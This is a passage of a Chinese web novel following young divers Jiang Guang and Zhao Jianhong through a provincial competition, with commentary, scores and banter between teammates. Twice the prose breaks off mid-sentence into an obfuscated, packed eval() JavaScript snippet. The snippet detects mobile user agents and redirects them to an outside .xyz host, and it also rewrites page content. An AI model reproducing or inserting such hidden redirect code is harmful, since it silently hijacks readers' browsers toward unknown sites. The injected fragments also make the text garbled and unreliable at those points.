“感觉就是几个小白脸，还不如靠脸吃饭呢，体育又不是什么阿猫阿狗都能出头的。” …… 被评论几位当事人，看着面前的饭菜也没了食欲。 赵渐鸿微微抬头，眼神和于冈对上了，两人叹口气，但片刻赵渐鸿便中气十足地朝隔壁桌的几人咳了两声，“你们公然胡说八道，是不是很不礼貌啊。” “你们谁啊？”那人很不耐烦的扭头。 赵渐鸿站起身，“你说呢，看看我是谁，就是你嘴里那个花期很短的运动员。” 有人连忙打圆场，“他就是酒喝多了，胡说八道呢，你们别往心里去啊。” “不懂就少说几句，我们几个能不能出头，又不是你说了算的。你管我们靠什么吃饭呢？又没吃你家米。” 姜广轻轻拍拍赵渐鸿的手心，示意他控制反击的“度”。 他很清楚作为运动员会无法避免接受公众的解读，会有各色各样的声音，需要做到的也只是自己问心无愧就行。 “别搭理他们，我们吃自己的。”姜广对两人说。 赵渐鸿气的脑子发昏，“真受不了，多大个人了，指着别人评头论足的。” “毕竟冠军奖牌又挂不到他们脖子上，他们就只能嘴巴上说咯。”姜广拍了拍赵渐鸿的后背。 于冈苦笑，“确实是这样，虽然我不想说，但是刚进国家队那阵子，有人Q/Q给我发消息，说论坛上我被骂疯了，说我是靠抢拿了个季军，没选上世锦赛就是报应。” 姜广眉头不由自主地蹙起，“咋了啊，没听你说呢。” “也没啥好说的，主要是跳水就一打分项目，他们要想说闲话也拦不住，不过我没选上世锦赛是因为我全运会就伤了，世锦赛时间本来就紧张，肯定没法恢复啊，所以就只好放弃这个比赛了呢。” 赵渐鸿大手一挥，“没事，他们就吃饱了撑的，天天说些有的没得。于哥你全运会最后一跳什么样，大家又不是不清楚，哪有地方能扣分啊，而且打分项目能让七个裁判都眼瞎打出高分吗？” 几人快速清空桌上这几个儿菜，就远离这个令人心生烦躁的饭馆。 “那今年世界杯，于哥你是不是得去。”姜广问。 于冈摇头，“队里名额都靠自己挣，我也希望自己能去，所以还有很大的提升空间。” 赵渐鸿笑了笑，“我们可觉得你肯定能去，而且男板不也要有人挑大梁吗，毕竟伦敦这个周期还得选奥运会的苗子呢。” “没事，我觉得我们仨都能上国际比赛拿奖。”姜广乐呵呵的。 赵渐鸿偏头笑，“哟呵，你口气还挺大呢，那下次和我跳双人也这么狂一点，别像上次那样跳傻了，就愣了呢。” “你可少说两句吧。”姜广不留情面地怼回去。 29.极其漂亮的6243 10年五月。 A省中心跳水馆。 场馆里人声鼎沸，是少有的在跳水这个项目上还有如此多观众的情况。但大部分是被附近几个高校里拉过来凑数的大一学生。 省里对这次的省运会非常看重，尤其是这次的跳水项目，因为这两年省里跳水还是有着亮眼的表现，部分领导也希望各个市队都拿出高质量的发挥来给自己这段时间的管理加上一笔“浓厚”的政绩。 舟阳跳水队作为夺冠大热门，也毫无疑问地受到了各个队伍的关注。 姜广这段时间也是在练新动作，提难度，但总体来说成套还是不高，而且有几个动作还是存在较大的不确定性。 但舟阳队比赛名额都靠自己挣，也不存在偏爱和例外，姜广前阵子的队内测试上发挥的相当出色，总分差一点就上了五百，毫无疑问的拿到了队里的第二个参赛资格。 这次运动会舟阳男子跳台一共拿到了三个比赛名额。除去姜广和赵渐鸿后，第三人便是紧随其后的齐河远。 姜广对于自己第一次在这样的正式大赛上比单人比赛，心情是相当忐忑的。以往他还没这个资格，但这次是一跳一跳踏实咬下来才挣到的这来之不易的机会。 他没办法保持一个极其平稳的心态，特别是踏进这个跳水馆起，他的心跳“波澜起伏”，像是遭遇了一场激烈的海上风暴。 “傻愣着干什么？”余庆丰拍了拍他的肩膀。 前两天跳五组把肩扭了，虽然伤的不严重，但依旧还是有些隐隐地疼痛。 姜广摇脑袋，“没事，但我看到这么多人，em，紧张。” “你小子，别怯场，这只是个省赛，之后全国比赛呢？世界比赛呢？你不都得去，那到时候你难道临场退赛啊？” 姜广立马摇头。 这也只是一场省赛而已，他也觉得自己总“小题大做”的毛病很烦人。很多时候就是自己吓自己而已。 “哈喽大家好，这里是A省体育频道，接下来给大家转播的是本次省运会跳水项目的比赛，今天一整天是男台的初赛和半决赛，晚上是女子十米台的初赛。” “现在运动员们进场，我们可以看到参赛人员里有好几位上次全国跳水俱乐部锦标赛里见过的老面孔了。” “比如现在人气很高的赵渐鸿啊，每次比完赛笑呵呵的，乐观积极的能量也感染了许多人。” “还有同队的姜广，上次比双人比赛难度其实还欠缺一些，但今天站上单人比赛的跳台上，和队友转变为对手，期待一下今天会拿出怎样的成套动作吧。” …… 解说的声音，姜广听不见，但他还是被观众席的呐喊声冲击。 他好久没感受过所谓的“欢呼声”。 哪怕目前观众席上的欢呼大概率不是为他而起。 比赛的顺序是抽签决定的，姜广一如既往地拥有一双臭手，成为揭开这场初赛序幕的第一位选手。 “没事啊，我们早跳早完赛，不要心理包袱，大胆跳，大胆做动作。不要有顾虑。”余庆丰说完双手把人揽在怀里，“你一直都是为了自己跳水。” 姜广轻轻应了一声，“嗯。” 第一轮也只是小试牛刀，一般也就会把难度稍微低一些的动作放在前面，用来把身子完全跳“开”了。 所以他第一轮的动作跳的是四组的407C（向内翻腾三周半抱膝），难度系数只有3.2。 这个动作在上次双人比赛里，他跳的马虎，算不上是一个好的发挥。 这次他刚站上十米跳台时，观众席上有了小小的一阵欢呼。 十米台上的他没法听清楚欢呼声，但隐约能听见他的名字。 姜广。 有人记得。 心底里在那个瞬间，似乎有些高兴，但情绪在比赛中并不是件好事。他久久平复，最后在“嘟”的一声预备提示音响起后，才走向跳台的末端，准备自己的动作。 “用心感受。” 他在举手示意时，脑子里只有这一句话。 “来看我们这边比赛的第一跳哈，希望我们小广能给这场比赛来一个开门红。” “哇哦，一个非常有力的起跳，这个高度估计让很多选手都是羡慕的。好的！入水也非常干净利落啊，就是入水角度上偏偏有一点点偏差，但问题不大，应该也还是会有一个相当不错的分数。” “姜广这名运动员呢，做动作有一个很强的个人特质，就是很轻盈，尤其是在空中你甚至能感受到滞空感，所以看这一类运动员做动作是一种享受。” “好的分数出来了，评委对这一跳的认可度也相当高啊，看到有两位评委打到了9分，虽然被去掉了，但也是一种认可。最后这一跳实得分是两个八分，一个八点五，单跳总分78.40分，很不错的分数，确实是一个开门红啊。” 姜广入水时就觉得身子有点歪，于是更加努力的控制，直到彻底入水也没敢松下劲。 “刚刚从起跳到抱膝翻腾，我感觉都做的很好了，最后入水差在哪就是你翻的太过了，不坚定，但是我们没关系这第一跳能这个样子也很好了，但是下次这个动作我就要拿9分的标准要求你了。” 姜广头发的水不停往下滴，“明白了，我觉得自己就是想太多了，也有点紧张，现在好多了。” 余庆丰朝他笑，“去池子里泡一泡，别冻着了。” 赵渐鸿也早早上跳台准备自己的动作，这会儿池子里也没人，姜广自己坐在池子的一个角落，闭上眼睛回想刚才的动作。 “思考人生呢？” 突然的声音吓得他睁开眼，诧异的盯着眼前的人。 “于哥，你怎么来了？而且这不是比赛后台呢，你能进来啊。” 于冈蹲下身子，“这比赛也不严格，我说我是舟阳队的，结果就让我进来了。刚刚跳的不错，我正好赶上了。” “还有进步空间。”姜广嘿嘿笑了两声。 “进步这么大，不会真的能去两年后伦敦奥运拿奖牌吧。” 姜广也不掩饰，“我们谁不想去呢，但我难度还上不来，不如想想里约奥运呢。” 两人谈话间就到了赵渐鸿的这一跳，他是第四个出场，位次也相当靠前。 “来看我们这次比赛的夺冠大热门啊，赵渐鸿第一跳是难度系数3.4的307C。这个组别放在第一跳，说明他的整体动作难度应该都是比较可观的。” 赵渐鸿的307一直都很稳定，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13579583|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶尔也有小问题，上次双人比赛，这一跳就是姜广发挥的更出色，他在水花效果上差一点。 但赵渐鸿之前有个优点就是心态很平稳，每一跳都是面无表情的跳下去。 所以在论坛上大家称呼赵渐鸿已经演变成为了，假冷面新晋跳水魔王。 因为看上去很严肃，私底下却是个逗比。 在提示音响起后，赵渐鸿依旧毫无表情的走到跳台末端，目视前方，却轻轻咬了咬唇角。 但实话说，他今天有些紧张，不知道为什么。当所谓的“夺冠大热门”之类的头衔放在他头上时，会感到前所未有的压力。 也许就是期待的重量。 “给你一秒钟调整好。”他在心底里暗暗说。 接下来是一个长长的深呼吸。 紧接着起跳，翻腾。 也许是还是受到了心态波动的些许影响，起跳的高度还可以但远度差很多，甚至往后翻腾时，头和跳台的距离看上去只有不到五厘米。 差一点点就可能会把脑袋打到台上了。 好在赵渐鸿练的时间够长，调整能力强，经验也丰富，后面的翻腾和入水都没有受到太大的影响。 但裁判对于这种比较“危险”的动作，也会酌情扣分，因为跳水比赛还需要保证运动员的安全。 毕竟头摔在台上的事情，之前也有发生过。 最后这一跳实得分是三个七点五，单跳总分是76.50。 刚从水里爬到岸上，赵渐鸿就摇头，对自己刚才的表现非常不满意。 “怎么回事啊？”何企问他。 他摇头，“我也不清楚自己怎么跳成这样。” “好了，跳完了就好好想下一跳。” 初赛一共是十个市区每个市有三个参赛名额，一共就是三十名选手。但大家的实力也还是存在差距，参差不齐。 特别是几个跳水弱一些的市区，凑三个人参赛都困难。 第一轮结束后，意料之外的姜广以微弱的优势暂时排在了第一。 紧接着便开始第二轮的比赛。 姜广这一轮要跳的是臂力动作6243d（臂力向后翻腾两周转体一周半任意），前阵子也练了6245但效果还不太好，最后为了保险还是准备只用6243。 倒立对这个组别很重要，想要做一个好的六组，稳倒立是必须要攻克的难点。 因为手臂晃动的幅度越大，这个动作的稳定性就会大打折扣。 倒立完成后，他眼睛盯着前方，努力控制自己的身体。 稍稍松了口气，就干脆利落的开始自己这一轮的动作。 脚尖，姿态都很标准，转体的一周半做的特别轻松。 紧接着两周的翻腾也没掉以轻心。 整个动作都一气呵成，特别是入水也非常干净。观众席上看见这样的水花效果，也没吝啬掌声。 一时间里，整个场馆欢呼雷动。 远处的解说更为激动，“虽然这个动作难度不高，但毫无疑问，这是一个非常干净漂亮的动作！今天小广的状态，非常好啊，男台是一个非常看临场发挥的项目，说不定我们可以期待一下他在今天这场比赛上贡献个500分以上的成绩呢！” 30.潜力无限的运动员 最后这一跳获得了两个9分一个9.5的实得分，单跳总分也破了八十大关，最后两跳总分一共是166.40。 单论两跳的成绩来说，并不高的难度能有这样的得分表现属实是非常亮眼的。 这段时间的训练，姜广势如破竹，从队内测试开始就像是通了“任督二脉”，都能在跳台上跳疯了。 虽然跳水是一个需要有很强稳定性的项目，但国际大赛上突然在决赛上跳“疯”了黑马也不是没有，甚至在预赛半决赛都平平无奇，就能在决赛发挥出一套自己从来没跳出来的动作。 所以，往往在前两跳就跳的超常，就能给运动员一个积极的心理暗示，也能把良好的竞技状态延续到后面的比赛中。 “还不错，今天动作都挺好的，记住一个好动作是什么样的感觉。”余庆丰嘴角浅浅地上扬几分。 姜广在喷头下冲了冲，又缩回热水池子里泡着。 在他随后的两名运动员都或多或少有一点失误，紧接着就到了赵渐鸿的第二跳。 这一跳动作选择的是难度系数3.5的407B（向内翻腾三周半屈体），这个动作在男子跳台上还是很常见的动作，而且是在国际上具备竞争力的运动员一定要学会的动作。 毕竟如果四组只能跳三周半抱膝难度又会降0.3，况且四组还有部分运动员能做四周半的动作，所以3.2的难度在这个组别根本不够用。 赵渐鸿的第一跳其实出现了一点小问题，但他在准备期间心态还是很快就平复了。 还抽空和姜广聊了会儿天。 他对自己的要求不太高，而且现在也只是预赛，能顺利晋级就行，而且竞技状态是需要逐渐调动的，跳过两场之后，他对这个场地熟悉了，就也能把自己最佳状态拿出来。 转身，举手，踮起脚尖，绷紧身体的每一寸。 紧随其后就是一个果断且充分的起跳。 高度非常充足，从远处看赵渐鸿甚至完全有可能在这个组别上冲击四周半的动作。 入水角度完全垂直，水花也处理的很干净。 现场的入水声音相当清脆，就和动作质量一样，完全不拖泥带水。 看台上的解说毫不吝啬夸赞，甚至听的都以为已经到了颁奖的程度。 这一跳的完美发挥，也获得了裁判的认可，实得分是两个9.5一个10，单跳也成为本场比赛里第一个破百的动作。 姜广刚从池子里出去，擦干身上的水珠，裹上羽绒服时，就看见了大屏幕上的得分。一时间里，他也很激动，毕竟这样的发挥在他看来几乎没有任何扣分点。 完全实至名归，且是他毫无疑问的榜样。 “老牛了。”姜广在赵渐鸿到这之后就第一时间双手竖大拇指夸夸。 赵渐鸿朝他颇为“油腻”的笑，甩了甩头发，故作“深情”，“知道我牛，可别太崇拜我了哦。” 姜广立马皱眉，露出鄙夷的神情，“没想到你是这样的人，感觉和我们楼下那几个一大把年纪还骚扰人的大汉一个样。” “别拿他们和我比呀，毕竟我可没大肚子。” “但你在我心底里就长那个样。”姜广无辜地摆手。 “你小子。”赵渐鸿边说边指着他，“不过你今天感觉不紧张啦，状态拉满啊。” 于冈这时候拿了两瓶水，递给他俩，“喝口水润润嗓子，你俩斗嘴感觉都要把喉咙斗冒烟儿了。” “六月不就有世界杯的比赛吗，于哥你准备的怎么样？”姜广顺口问了一嘴。 于冈微微皱眉头，最后摇摇脑袋，“没事，就一直训练呗，大名单是确定我要去比了，但是毕竟是第一次参加大赛，压力很大，所以我才说请两天假出来缓一缓，看看你们比赛。” “没关系，今年不也就在我们国家比赛吗，你主场作战，完全不要怂！” “好了，知道了，现在第一要务是你们俩得跳好了，再多让其他人看看我们舟阳的厉害！” 姜广用力点头，“没事，我们都会尽力的。” 第二轮结束后，赵渐鸿以总分178分遥遥领先，姜广两跳都不错排在了第二。 紧接着来到姜广的第三跳。 没办法避免的207C，这段时间也有一直在专项练习二组，稳定性和动作质量也随之往上提升了一截。 上台前余庆丰还有点不放心，特意嘱咐了几句，让他别有压力，按照之前训练的水准跳下来就行。 但他心底里还憋着股气。 上回双人比赛207的失误，其实或多或少还是会成为他心底里那一道过不去的坎儿。 都说解铃还须系铃人，对于这个动作的恐惧，只能让一次完美的临场发挥来打破。 背对水面时，也许是正式站在比赛场上的缘故，举手时的瞬间依旧闪过一丝恐惧。但转瞬间就被控制住了，转而脑海里只剩下上次成功做下这个动作时的感受。 屏息凝神，紧随其后的是一个非常充足的起跳。 “这一跳对于姜广来说很重要啊，根据之前的比赛来看，他在这一跳的失误率还挺高的，可以说对于他来说这场比赛的结果能有多高的上限就看这一跳。”解说目光紧盯着十米台上的姜广。 “起跳很不错，空中翻腾很轻松啊，几乎在五米台左右的位置已经完成了三周的翻腾。就看入水，好的，又是一个非常干净的动作。” “可以很笃定的说，这一跳应该能算得上姜广出现在大众视野以来，做的最好的一个207，即便目前他的出现频率不算很高，但相信以目前的水平，在国际大赛上看见他，指日可待啊。” 这一跳无论从起跳到翻腾还是最后到入水，几乎都挑不出什么大的毛病。 不能说是满分，但九分的水准是绝对有的。 随后裁判的打分投射在大屏幕上，果然是清一色的九分。最后这一跳，拿到了89.10分。 对他来说已经是一个很高的分数了。 片刻休息后便是赵渐鸿的第三跳，这一跳他的动作是六组臂力动作的6245d，比姜广的六组要多翻一周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13584027|139096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 结果谁都没想到的是，赵渐鸿却在倒立时出现了失误，第一次的倒立没有成功，身子重心不稳，脚往下掉最后接触了跳台。 其实也不是能力不足，就是节奏不对，起倒立的开始就有点匆忙，最后就因为一个轻微的晃动导致直接倒立失败了。 这一跳最后的得分也会因为这个问题而大打折扣。 但好在这个插曲没有影响赵渐鸿的心态，随后还是非常稳定的起倒立后，准备很充分且轻松的完成了这一跳。 入水的水花都几乎擦平了。 但由于在台上的失误，这一跳的起评分就会低不少，所以最后这一跳也只得到了两个6分一个5.5。 单跳总分也只有63。 “还好没直接给我摔进水里，不然我就真没机会了。”赵渐鸿去水池里看到姜广时嘴角还是笑着的，完全看不出来失误对他有什么影响。 姜广上前撸了一把赵渐鸿湿乎乎的头发，“你果然大心脏啊，看不出来有一点影响。” “难不成让我哭一个给你看啊。” 姜广：“……” 还好脾气好，不然就一拳给这人嘴堵住了。 第三轮结束，姜广反超到了第一位，赵渐鸿还是凭借前两跳的领先依旧能排在第二位。 隔壁H市几个选手紧随其后排在三四五。 比赛进程来到第四轮动作，姜广的动作是307C，他把最难的两个动作都放在了最后，前面的动作难度系数都没超3.5。 上次双人的307，他表现的就非常完美，但在那个时候这个动作还是他成套里最难的，可现在对他来说也算不上难点了。 对于今天这种“顺风局”，姜广几乎不会有什么压力，心情一直都很平稳。和以前在体操队一个样，比好了那就是“大魔王”。 刚上跳台时，他还在活动练习陆上动作。 抵达跳台末端，他格外沉浸，哪怕此刻看台上依旧吵闹，声音尖锐的叫着他的名字。 但也没有打乱他的思绪。 紧接着心无旁骛地起跳。 解说此刻都没说话，心脏顶在嗓子眼儿，直到一个极其漂亮的入水动作展现在各位面前。 “哇！我难以形容此刻的心情，但我觉得姜广真的未来可期！我们可以期待一下几年后他站上世锦赛，世界杯，甚至是奥运会上的发挥。” “绝对是一名有很大潜力的运动员。” 最后这个动作也毫无疑问的得到了三个九分的高分，单跳得分是91.8。 可以说是只要后面两跳没有特别重大的失误，进半决赛的悬念已经没有了。 在淋浴时，他那许久未见的系统又猛地发出了声音，“你比我想象中要进步的快的多。” “那你是没看见我训练累成狗的样子，要不是吃的多，我都瘦成闪电了。” 系统沉默。 片刻后又补了一句，“不管怎么样，我说了你就是为跳水而生的运动员，希望你可以拿到属于自己的第一个冠军。”